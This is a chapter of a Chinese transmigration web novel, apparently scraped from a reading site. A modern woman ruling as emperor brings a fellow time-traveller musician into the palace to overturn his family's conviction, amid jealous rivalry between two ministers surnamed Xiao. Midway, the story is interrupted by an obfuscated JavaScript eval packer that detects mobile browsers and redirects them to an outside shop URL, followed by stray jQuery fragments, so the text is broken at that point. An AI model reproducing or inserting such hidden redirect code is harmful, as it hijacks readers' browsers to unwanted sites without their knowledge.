3. 为肖家翻案

作品:《萧宰相他口嫌体正

    “千呼万唤始出来,犹抱琵琶半遮面。”


    这一首咏叹之歌宛如一道哀乐之声,在楼内久久不散。长乐教坊的头牌肖大家,嗓子得天独厚,唱歌的意境婉转动人,让人失了眼泪。


    叶如意在大堂内坐着,教坊的乐人认不出她这位九五至尊。


    毕竟双方身份差异巨大,没有交集的可能。


    她这次又是微服私访,按理说是毫不起眼的。但是那位头牌乐人却舍下一众,独独来到叶如意跟前。


    他行了重礼,匍匐道:“奴愿为这位贵客私弹。”


    肖钱本来自世家大族,是家族戴罪,这才被罚没到长乐教坊。


    眼光自是毒辣的。


    老鸨眼睛一转,立时附和道:“既然你有这个意愿我做妈妈的,怎好阻拦?小水,快带客人上去。”


    大堂内顿时喧哗起来。


    一个富商叫嚣道:“老子花了上百金,连肖大家的手都未摸到。凭什么让她捷足先登?莫不是看她是个女子?肖大家服侍不得我们这些男客?”


    老鸨急的诶呦一声:“瞧您说的......”


    话未说尽,只见肖钱回眸笑道:“这位客人若是还想活命,就不该在贵客面前嚣张。”


    这一句话堵了富商一嗓子,他眼尖地注意到叶如意身着不凡。


    颜色不打眼,可面料的质感让富商心中抖了抖。那一身的蜀锦,绝对是千金难求。


    顿时,没了声音。


    上了二楼,肖钱扑通一跪:“还请陛下为肖家翻案!”


    叶如意挑眉,正是起了瞌睡送来枕头。只要自己为肖家翻案,那这位肖公子,就是实打实的自己人。


    “起来说吧。”


    见叶如意没有一口回绝,肖钱心里升起希望。


    他一五一十地说起冤案,到最后他了了句:“据当年肖家的老部下所言,要害肖家的,乃是一位萧姓大臣。”


    萧无痕?叶如意半点也不诧异。


    按萧无痕的性子,他做得出。


    思毕,她问肖钱道:“你胆子如何?”


    肖钱一愣,复又苦笑:“到了我这个地步,活着比死都受罪。”


    叶如意心中也有怜惜,作为现代人,她看不得好人身陷囫囵。


    “也罢,你就随我回宫吧!”


    见叶如意松口,肖钱欢喜异常,嘴中却道:“我只是一个乐人,随陛下回宫岂不是让您为难?”


    见肖公子如此懂事,叶如意难得道:“在吾心中,人人平等。”


    “......”


    见肖钱沉默,没有继续拍自己的马屁,叶如意一时感到诧异。却见他神色沉了下来,半晌,幽幽一句:


    “富强民主......”


    “文明和谐?”


    咚!老乡见老乡,两眼泪汪汪。


    “你也是二十一世纪的?”


    叶如意听出肖钱的咬牙切齿,故作无奈的点点头。


    正所谓既怕兄弟吃不饱,又怕兄弟开路虎。


    二人地位上的悬殊,帝王与乐人,仿若天堑一般。


    “你放心,我肯定把你捧到人臣的地位。”


    叶如意拍拍肖钱的手,乐滋滋道:“至于你之前的磨难,还望你想开些......”


    "呵,"肖钱一声冷哼:“我在现代可是一个炙手可热的歌唱偶像,随便拿点东西,就能把老鸨喜得晕头转向。哪里舍得让我侍奉客人?”


    原是如此,叶如意心下可惜。


    “你这个表情什么意思?”肖钱见了一下子炸毛。


    叶如意一脸诚恳道:“为你高兴。”


    “我看着不像。”


    见话题开始不利于自己,叶如意起头道:“我这身边也不全是好处。脑袋悬在脖子上朝不保夕呢!”


    “哦,说来听听。”


    肖钱眼中泛光,一脸八卦。


    “朝中有宰相萧无痕做大。我觉得......他看出我是个冒牌货,意图谋反。”


    竟是如此棘手。


    肖钱沉思片刻,沉吟道:“那如此看来,这污蔑肖家的案子,怕是一定得落到他头上了。”


    叶如意点头,她也是这个意思。


    先立稳脚跟,再谈捉拿真凶。


    就这样,叶如意放令赎出肖钱。二人大摇大摆地回宫,叶如意给他宿在宸宫。


    这一消息瞬间传满朝野,想必明日早朝,必定是充满殿宇的弹劾声。


    六安听到风声,立即禀报给萧无痕。


    却见萧无痕淡然道:“你如今日子这么闲?这种事都拿来说与我听?”


    六安面上恭敬,心里却悄悄吐槽:相爷定是心中酸涩,只是不好示于人前罢了。


    他义愤填膺道:“相爷才刚刚侍寝,连座宫殿都未赐予。这就找了新欢,置相爷与何地?”


    他没说的是,相爷不必伤心。虽然显而易见的,您侍寝不力,但我们绝对不会笑您的。


    萧无痕见六安眼神不对,哪里奇怪又说不清。


    “你很闲吗?”


    六安一个激灵:“奴这就去打探消息!”


    可怜,自家相爷要失宠咯!


    至于萧铮这边,一件巨大的屏风轰然倒地。


    “一个乐人也值得她带入皇宫?颇有些饥不择食吧?”


    萧铮气得面色狰狞,想不明白裳如意怎么说移情就移情?一点反应时间都没有,他也不打算接受。


    她心中定是还有我的。


    萧铮打算改变下策略了,说不定裳如意是对自己爱而不得,这才滥情起来。


    只要自己施了好脸色,她还不是巴巴的就凑上来?


    主意一拿定,萧铮换了身衣袍,大步去往宫中。


    此时叶如意在宸宫与肖钱商议布局,自然将殿内的宫人清到外间。


    萧铮一过来就看见一乌泱的宫人站在殿外。似乎彰示着某种不可言说。


    他气得直哼哼,心中将叶如意二人骂了又骂。


    见萧铮要入宫内,李公公急忙拦下:“萧将军留步,陛下不容许外臣入内。”


    这话听得如此刺耳,萧铮都想跳起暴打他的狗头。


    “气大伤身。”


    这句嘲讽让萧铮变了脸色,果见是萧无痕那个坑货。


    他哼了声,幽幽一句:“李公公只是说外臣不入内,像舅舅这般的面首,应当入得其内。”


    萧无痕闻言只冷冷看他,却见萧铮更近一尺:“谁人不知?萧宰相侍奉君主后,未得名分?”


    眼见萧铮一副贱兮兮的样子,萧无痕气急反笑。


    但他向来是有仇必报,等不得明日。


    “萧将军也像长舌妇人一般,嚼起了舌根?”又几分暗示到:“说到底......不过是嫉妒我得手了。”


    男人最懂如何气男人。


    果见萧铮脸色青黑青黑的,沉得像快要滴出水来。


    二人候在殿外,争锋相对。这时大殿开门,叶如意独身出来。


    “萧爱卿?”


    “两位萧爱卿?”


    见叶如意衣袍整洁,萧铮心里才好受一些。他变了策略,难得对裳如意开次笑脸:“臣担忧陛下,所以进宫一探。”


    “吾有什么好担忧的?”


    萧铮只是给自己入宫寻个由头,哪知陛下毫不留情面地戳穿。


    是变了。


    萧铮明显地意识到“这个残酷的现实”。


    他只能希冀陛下对自己,尚还有余情。


    未再言语,这时肖钱从殿内出来,二人一见吃了一惊。


    “萧大哥?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14079291|149463||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “肖贤弟?”


    “你们认识?”叶如意挑眉,几分诧异。


    “萧肖两家本就是世交,这都不知。”


    听萧无痕这语气,难免察觉出几分醋意。叶如意现在还干不掉他,只能一派怀柔安抚道:“这全天下男子,在吾心中只有两类。一是他人......”


    “二......便是无痕了。”


    这情话随口就来,酸得崩了萧铮和肖钱一脸。


    萧无痕这般厚脸皮的,都一下子红温。


    他咳嗽几声,掩饰羞涩。


    叶如意却更进一步,满脸担忧道:“爱卿可是身子不适,快随吾进殿来,传御医过来仔细瞧瞧。”


    见二人走远,肖钱这才与萧铮说笑:“经年一别,我还以为再也遇不上萧兄了。”


    萧铮亦是点头,几分笑意:“陛下要为肖家翻案?”


    肖钱闻言点了点头,一丝轻松:“肖家本就是含冤发配,该重复天日了。”


    复又拱手施礼:“据陛下说,是朝中一位大人极力查清肖家一案,这才将我寻来。我思来想去,这朝中,怕是只有萧兄会这般施以援手。”


    “不敢不敢。”萧铮故意含糊其辞,显得好似真是他。


    二人又说起许多。


    “当年祖父尚在萧兄旗下,总是向我们这些孙辈夸赞您。只可惜当年兖州事变,祖父......到底令萧兄失望了。”


    萧铮闻言也是一叹:“陈年旧事,不必再提了。”


    这边二人虚以为蛇,殿内的叶如意又发挥起自己群演的实力。


    她握住萧无痕的手,想来场“看星星看月亮,谈一谈诗词歌赋”,结果哽了半天,一句诗也吟不出。


    “床前明月光......”


    不对,也不符合此景啊。


    “陛下到底想说什么?”


    见萧无痕冷冷地看向自己,叶如意一个激灵。到底是求生意志,她突然一叹:“我知道,爱卿这些天受了些非议。”


    见叶如意如此说,萧无痕心中有些惊讶。陛下独断专行,哪里管他人感受?


    不对,这是个冒牌货。


    看起来还是位对自己有意又有利的冒牌货。


    “陛下宽心,臣受些碎言碎语不打紧的。倒是陛下切莫忧思。”


    要是忧思过重死了,他上哪再找个合适的蠢蛋?


    叶如意闻言却痛苦地摇头,只见她眼神灼灼道:“可那些个庸人,又怎么能理解吾之深意?”


    说罢紧紧攥着萧无痕的大手,情真意切道:“吾因着私念得到爱卿,已然是十分愧疚。又怎会赐予你一座偏殿,禁锢你的自由?怕不是令爱卿,在这宫中日益凋零?”


    竟是如此想法,萧无痕心中微微一震。


    “得陛下恩宠,臣惶恐。”


    "惶恐什么?"叶如意一副理所应当:“爱卿担得。”


    萧无痕见叶如意眼神又迷离起来,心中大叫不好。烫手一般的扔开了叶如意的手。惊道:“臣还有要事处理。”


    这般推脱,使得叶如意目送萧无痕走远,“啧啧”一脸可惜。


    “你这什么表情?”肖钱进来看到这一幕,打趣道。


    叶如意摇头,说起正事:“在萧无痕和萧铮间,你更倾向于凶手是谁?”


    肖钱哼了一声,面色阴沉:“怕不是我们大周那位,战无不胜的大将军......萧铮。”


    竟是他?叶如意吃了一惊,她还以为是萧无痕。


    “我刚刚故意诈了他一下,”肖钱冷脸道:“那般的回答,若不是沽名钓誉之辈,便是凶手了。”


    殿外萧无痕给了自己一巴掌,好不容易叶如意有了色胆,他却给推了。


    一时间脸色阴沉。


    六安在一旁看着,摇头暗道一句:“该。”